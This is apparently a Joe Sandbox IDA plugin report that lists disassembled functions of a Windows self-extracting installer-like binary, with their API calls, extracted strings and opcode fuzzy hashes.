Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: b417f0ca43b0f1a675a55b1394a59fc23cd165e7830d58b26484a22ad4f1a579
Instruction ID: 0ef56db9b027ec402d5299045aa5eb126e8e44ea4b57c5f4bac1da949533b81b
Opcode Fuzzy Hash: b417f0ca43b0f1a675a55b1394a59fc23cd165e7830d58b26484a22ad4f1a579
Instruction Fuzzy Hash: A0112122A04B418AEF64DF61E8442A933A4FB497A8F400A34EA6D87754EF7CD5A48350

Function 00007FF6975A8790 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6975A879B

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 5301e7076f5ef957a13bc7f6d002c3f7f3b9a25b2f64b703cbde4610621febb0
Instruction ID: ed5859e0b0790e6599a6a30fab1b9835d6f78c5ee04887c3ee0e5099c0a92b06
Opcode Fuzzy Hash: 5301e7076f5ef957a13bc7f6d002c3f7f3b9a25b2f64b703cbde4610621febb0
Instruction Fuzzy Hash: 5DB09210E25402C1DA5CAB219C8506113A0FB58364FC008B0C00DC0120DE2CA19A8710

Function 00007FF6975A70A8 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 446COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 00007FF6975A7120
GetModuleFileNameA.KERNEL32 ref: 00007FF6975A71FB
CharUpperA.USER32 ref: 00007FF6975A723E
CharUpperA.USER32 ref: 00007FF6975A72D4
CompareStringA.KERNEL32 ref: 00007FF6975A7368
CharUpperA.USER32 ref: 00007FF6975A73A3
CharUpperA.USER32 ref: 00007FF6975A73FF
CharUpperA.USER32 ref: 00007FF6975A7498
CloseHandle.KERNEL32 ref: 00007FF6975A769E
ExitProcess.KERNEL32 ref: 00007FF6975A76AC

Strings

@, xrefs: 00007FF6975A767E
:, xrefs: 00007FF6975A7443
RegServer, xrefs: 00007FF6975A7359
", xrefs: 00007FF6975A7187

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$:$@$RegServer
API String ID: 1203814774-4077547207
Opcode ID: 6e530289b7fe5922f9cfda438616e34a1a36475502b4d42f4ffce2e3ac89d0b1
Instruction ID: 182d65c87fce8af93dde9e1513999e5c2b15937c8ec142f67aa3809c3b312309
Opcode Fuzzy Hash: 6e530289b7fe5922f9cfda438616e34a1a36475502b4d42f4ffce2e3ac89d0b1
Instruction Fuzzy Hash: 8B02F221E0C68246FEFC8B2494102B96BA1EFC67F0F5809B5DA5E866B5DF3DE401C760

Function 00007FF6975A4A60 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 123libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A35E3), ref: 00007FF6975A4A86
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A35E3), ref: 00007FF6975A4AAA
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A35E3), ref: 00007FF6975A4ACA
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A35E3), ref: 00007FF6975A4AEC
GetTempPathA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A35E3), ref: 00007FF6975A4B1B
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A35E3), ref: 00007FF6975A4B3A
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A35E3), ref: 00007FF6975A4B54
FreeLibrary.KERNEL32 ref: 00007FF6975A4BF1
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6975A35E3), ref: 00007FF6975A4C0D

Strings

SHELL32.DLL, xrefs: 00007FF6975A4A7F
SHGetPathFromIDList, xrefs: 00007FF6975A4AE2
SHBrowseForFolder, xrefs: 00007FF6975A4AA0

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 2a5ea4b490894db445cb84de2448d12f1af4c9272f9454c89187ac1fef39355e
Instruction ID: 533db199206ea3ce1f5a4cda48f83f94030315c84b4ca11395d5c83ff5852e5f
Opcode Fuzzy Hash: 2a5ea4b490894db445cb84de2448d12f1af4c9272f9454c89187ac1fef39355e
Instruction Fuzzy Hash: 27519435A0DB8686EBA88B15B81017A7BA1FF89BE1F4441B4DE4E87794DF3CE844C710

Function 00007FF6975A4DCC Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 159memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF6975A4E60
LocalAlloc.KERNEL32 ref: 00007FF6975A4F61
LocalAlloc.KERNEL32 ref: 00007FF6975A4F99
MessageBoxA.USER32 ref: 00007FF6975A4EA0

Part of subcall function 00007FF6975A7E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF6975A7E8C
Part of subcall function 00007FF6975A7E34: EnumResourceLanguagesA.KERNEL32 ref: 00007FF6975A7ECA

LocalAlloc.KERNEL32 ref: 00007FF6975A4EFC
MessageBeep.USER32 ref: 00007FF6975A4FC2
MessageBoxA.USER32 ref: 00007FF6975A5007
LocalFree.KERNEL32 ref: 00007FF6975A5018

Part of subcall function 00007FF6975A7F04: GetVersionExA.KERNEL32 ref: 00007FF6975A7F59
Part of subcall function 00007FF6975A7F04: GetSystemMetrics.USER32 ref: 00007FF6975A7F93
Part of subcall function 00007FF6975A7F04: RegOpenKeyExA.ADVAPI32 ref: 00007FF6975A7FC8
Part of subcall function 00007FF6975A7F04: RegQueryValueExA.ADVAPI32 ref: 00007FF6975A8003
Part of subcall function 00007FF6975A7F04: RegCloseKey.ADVAPI32 ref: 00007FF6975A8016
Part of subcall function 00007FF6975A7F04: CharNextA.USER32 ref: 00007FF6975A8065

Strings

52352352352, xrefs: 00007FF6975A4E91, 00007FF6975A4FF3
rce., xrefs: 00007FF6975A4DF7

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: 52352352352$rce.
API String ID: 2929476258-3400312407
Opcode ID: abe435584ecd5f6fe87ce2b456f1e06dda66ab3f9fb72e6f330788004a039cce
Instruction ID: 1200e3f2ed3a0a1dece5c61230686cad2ceb6bb6cdd27d65b0ffce97fb159c98
Opcode Fuzzy Hash: abe435584ecd5f6fe87ce2b456f1e06dda66ab3f9fb72e6f330788004a039cce
Instruction Fuzzy Hash: 5061C121E0878286EBA98B65A4003B96B90FB59BF4F0452B0DE4D87795DF3CE9468720

Function 00007FF6975A261C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 129registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 00007FF6975A2662
CharNextA.USER32 ref: 00007FF6975A2674
CharNextA.USER32 ref: 00007FF6975A2683
RegOpenKeyExA.ADVAPI32 ref: 00007FF6975A2724
RegQueryValueExA.ADVAPI32 ref: 00007FF6975A275B
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF6975A2782
RegCloseKey.ADVAPI32 ref: 00007FF6975A27B9
GetWindowsDirectoryA.KERNEL32 ref: 00007FF6975A27CF
GetSystemDirectoryA.KERNEL32 ref: 00007FF6975A27E5

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00007FF6975A26A6

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 3b652cf53a0166bf7c173558fb1758d4a4d77de799b7ad200d32d7da73422a7a
Instruction ID: 1e8c002c5cce4b73a6ab9b1d8438698739d6245af210f83752fc008a648bfa40
Opcode Fuzzy Hash: 3b652cf53a0166bf7c173558fb1758d4a4d77de799b7ad200d32d7da73422a7a
Instruction Fuzzy Hash: 1951B572708A8187EBA48F10E8502BA7BA0FBCABE0F5450B1DA4E87B54DF3CD545C710

Function 00007FF6975A33F0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF6975A3430
GetDesktopWindow.USER32 ref: 00007FF6975A3441
SetDlgItemTextA.USER32 ref: 00007FF6975A3467
SetWindowTextA.USER32 ref: 00007FF6975A347D
SetForegroundWindow.USER32 ref: 00007FF6975A348C
GetDlgItem.USER32 ref: 00007FF6975A34A0
GetWindowLongPtrA.USER32 ref: 00007FF6975A34B7
SetWindowLongPtrA.USER32 ref: 00007FF6975A34D9
SendDlgItemMessageA.USER32 ref: 00007FF6975A350A

Strings

52352352352, xrefs: 00007FF6975A3473

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: 52352352352
API String ID: 3785188418-1175956450
Opcode ID: 5437c451f9b0f03a7d5304c51dea48bd08e1932c988bfe6d4e908a474b1ba20e
Instruction ID: a2e4f543ea8acbe2bbb2df76784cc3c4fad1ecf173487dfd8a0f5b25c2015d04
Opcode Fuzzy Hash: 5437c451f9b0f03a7d5304c51dea48bd08e1932c988bfe6d4e908a474b1ba20e
Instruction Fuzzy Hash: 14314635D086428AEFB85B64E8042B47B91FF8EBB5F5493B0C91E86394DF3CA449C720

Function 00007FF6975A7F04 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF6975A7F59
GetSystemMetrics.USER32 ref: 00007FF6975A7F93
RegOpenKeyExA.ADVAPI32 ref: 00007FF6975A7FC8
RegQueryValueExA.ADVAPI32 ref: 00007FF6975A8003
RegCloseKey.ADVAPI32 ref: 00007FF6975A8016
CharNextA.USER32 ref: 00007FF6975A8065

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00007FF6975A7FBA

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 3b2a06a11d2becce3ce338110b622480474f8ae87116164a32f9474e2bd7df5d
Instruction ID: 80d08590e525314d0b08d465d7128bd861026231e9e466cb4af0fea373b0fe63
Opcode Fuzzy Hash: 3b2a06a11d2becce3ce338110b622480474f8ae87116164a32f9474e2bd7df5d
Instruction Fuzzy Hash: C9519532A08A518AEBB58B24D44017D77E5FB89BA4F8541B1DA6E83794DF3CF544CB10

Function 00007FF6975A11CC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 68librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF6975A1209
GetProcAddress.KERNEL32 ref: 00007FF6975A122B
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF6975A1278
FreeSid.ADVAPI32 ref: 00007FF6975A12A0
FreeLibrary.KERNEL32 ref: 00007FF6975A12AF

Strings

CheckTokenMembership, xrefs: 00007FF6975A1221
advapi32.dll, xrefs: 00007FF6975A11FC

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: aca234308d6c2b9a7267944faa7f1f83278d608330c87f71542cc3174e944061
Instruction ID: 2d5224d1744c51407947c4238b0e968dd7d88116ff596eb6ce8667f44d451404
Opcode Fuzzy Hash: aca234308d6c2b9a7267944faa7f1f83278d608330c87f71542cc3174e944061
Instruction Fuzzy Hash: AE312136A08B45CBDB648F16F4441AABBA0FB89B90F455179DE4E83718DF3DE045CB50

Function 00007FF6975A2834 Relevance: 12.2, APIs: 8, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00007FF6975A2A44

Part of subcall function 00007FF6975A261C: CharUpperA.USER32 ref: 00007FF6975A2662
Part of subcall function 00007FF6975A261C: CharNextA.USER32 ref: 00007FF6975A2674
Part of subcall function 00007FF6975A261C: CharNextA.USER32 ref: 00007FF6975A2683
Part of subcall function 00007FF6975A261C: RegOpenKeyExA.ADVAPI32 ref: 00007FF6975A2724
Part of subcall function 00007FF6975A261C: RegQueryValueExA.ADVAPI32 ref: 00007FF6975A275B
Part of subcall function 00007FF6975A261C: ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF6975A2782
Part of subcall function 00007FF6975A261C: RegCloseKey.ADVAPI32 ref: 00007FF6975A27B9

GetFileVersionInfoSizeA.VERSION ref: 00007FF6975A28AC
GlobalAlloc.KERNEL32 ref: 00007FF6975A28C9
GlobalLock.KERNEL32 ref: 00007FF6975A28E4
GetFileVersionInfoA.VERSION ref: 00007FF6975A290C
VerQueryValueA.VERSION ref: 00007FF6975A2932
GlobalUnlock.KERNEL32 ref: 00007FF6975A29DC
GlobalUnlock.KERNEL32 ref: 00007FF6975A29F0

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Global$Char$FileInfoNextQueryUnlockValueVersion$AllocCloseEnvironmentExpandFreeLockOpenSizeStringsUpper
String ID:
API String ID: 1051330783-0
Opcode ID: 6d4c51d06f972b13cb99adb0e904218bc9eace2558dcc6cb5054029ba0357b51
Instruction ID: 413cddb3365b7569cd8b643981e03ab366db4572c24bfb84ca8e4b9341764ab9
Opcode Fuzzy Hash: 6d4c51d06f972b13cb99adb0e904218bc9eace2558dcc6cb5054029ba0357b51
Instruction Fuzzy Hash: 6C516232B046528EEBB88F1595016B87BA4FB88BF4F545171DE0DA3794DF39E481C720

Function 00007FF6975A2A6C Relevance: 12.1, APIs: 8, Instructions: 126COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF6975A2AB2
IsDBCSLeadByte.KERNEL32 ref: 00007FF6975A2ACE
CharNextA.USER32 ref: 00007FF6975A2AF4
CharUpperA.USER32 ref: 00007FF6975A2B07
CharPrevA.USER32 ref: 00007FF6975A2B43
CharUpperA.USER32 ref: 00007FF6975A2B9F
CharNextA.USER32 ref: 00007FF6975A2BF9
CharNextA.USER32 ref: 00007FF6975A2C0B

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Char$Next$Upper$ByteFileLeadModuleNamePrev
String ID:
API String ID: 975904313-0
Opcode ID: 2979d283a01604d961735a48130beb2dfdd98dda21d4e4b67344f999235a94dc
Instruction ID: ca2f11653a9086da47cbe23a3bc4c8c0b0ce3e81c88587e546a26b2bc2481e7a
Opcode Fuzzy Hash: 2979d283a01604d961735a48130beb2dfdd98dda21d4e4b67344f999235a94dc
Instruction Fuzzy Hash: 90517061A0C6DA46FFB94F25A5113B96B91EB8EBF0F4881B1CA8E46785CF2CD445C720

Function 00007FF6975A3F74 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 71memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5078
Part of subcall function 00007FF6975A5050: SizeofResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5089
Part of subcall function 00007FF6975A5050: FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50AF
Part of subcall function 00007FF6975A5050: LoadResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50C0
Part of subcall function 00007FF6975A5050: LockResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50CF
Part of subcall function 00007FF6975A5050: memcpy_s.MSVCRT ref: 00007FF6975A50EE
Part of subcall function 00007FF6975A5050: FreeResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50FD

LocalAlloc.KERNEL32(?,?,?,?,?,00007FF6975A3139), ref: 00007FF6975A3F95
LocalFree.KERNEL32 ref: 00007FF6975A4018

Part of subcall function 00007FF6975A4DCC: LoadStringA.USER32 ref: 00007FF6975A4E60
Part of subcall function 00007FF6975A4DCC: MessageBoxA.USER32 ref: 00007FF6975A4EA0

Part of subcall function 00007FF6975A7700: GetLastError.KERNEL32 ref: 00007FF6975A7704

lstrcmpA.KERNEL32(?,?,?,?,?,00007FF6975A3139), ref: 00007FF6975A403E
LocalFree.KERNEL32(?,?,?,?,?,00007FF6975A3139), ref: 00007FF6975A409F

Part of subcall function 00007FF6975A7AC8: FindResourceA.KERNEL32 ref: 00007FF6975A7AF2
Part of subcall function 00007FF6975A7AC8: LoadResource.KERNEL32 ref: 00007FF6975A7B09
Part of subcall function 00007FF6975A7AC8: DialogBoxIndirectParamA.USER32 ref: 00007FF6975A7B3F
Part of subcall function 00007FF6975A7AC8: FreeResource.KERNEL32 ref: 00007FF6975A7B51

LocalFree.KERNEL32 ref: 00007FF6975A4078

Strings

<None>, xrefs: 00007FF6975A4037
LICENSE, xrefs: 00007FF6975A3F7D, 00007FF6975A3FE0

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$Free$Local$FindLoad$AllocDialogErrorIndirectLastLockMessageParamSizeofStringlstrcmpmemcpy_s
String ID: <None>$LICENSE
API String ID: 2414642746-383193767
Opcode ID: 500bea89e5f40005163dcf95b2e3e849d331b5811c5609ba5abe631ca88a2bf8
Instruction ID: 771cb9290c0f519d6e654929b0705ffac3df26fe7a2bd19121b1ee20d617088f
Opcode Fuzzy Hash: 500bea89e5f40005163dcf95b2e3e849d331b5811c5609ba5abe631ca88a2bf8
Instruction Fuzzy Hash: FA317072A2960386FBB8AF20E41177A7660FF847E5F4041B5D90E86694EF7DE4058720

Function 00007FF6975A772C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6975A114C: _vsnprintf.MSVCRT ref: 00007FF6975A1189

LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A606F), ref: 00007FF6975A7763
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A606F), ref: 00007FF6975A7772
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A606F), ref: 00007FF6975A77B8
FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A606F), ref: 00007FF6975A77EC
FreeResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF6975A606F), ref: 00007FF6975A7805

Strings

UPDFILE%lu, xrefs: 00007FF6975A77C9

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$Free$FindLoadLock_vsnprintf
String ID: UPDFILE%lu
API String ID: 2922116661-2329316264
Opcode ID: 5da28ac000a46b9a165e15456f701c43c89cc60981a221babc32eae9389c35de
Instruction ID: 0e1d1b256b5921fd1a1f980540bf45a53abf3e0e3e91d6ba0f8f6cb62f077abc
Opcode Fuzzy Hash: 5da28ac000a46b9a165e15456f701c43c89cc60981a221babc32eae9389c35de
Instruction Fuzzy Hash: 7F316631A08B42C6FBA88B25A400179BBA1FFC9BE0F558675DA5E877A4CF3CE445C710

Function 00007FF6975A5050 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5078
SizeofResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A5089
FindResourceA.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50AF
LoadResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50C0
LockResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50CF
memcpy_s.MSVCRT ref: 00007FF6975A50EE
FreeResource.KERNEL32(?,?,00000000,00007FF6975A2E43), ref: 00007FF6975A50FD

Memory Dump Source

Source File: 00000000.00000002.2189733892.00007FF6975A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6975A0000, based on PE: true

Associated: 00000000.00000002.2189634670.00007FF6975A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189803032.00007FF6975A9000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2189871342.00007FF6975AC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191133097.00007FF6975AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6975a0000_OTO2wVGgkl.jbxd

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID:
API String ID: 3370778649-0
Opcode ID: 354dd0a735b34388ad5f877ea76a86da7b7875453ded65a43a8ee6639794adbd
Instruction ID: dd2ac727c8c757ad3baa2be656b9da3e8100276814659475fa84e3eedc1a48f8
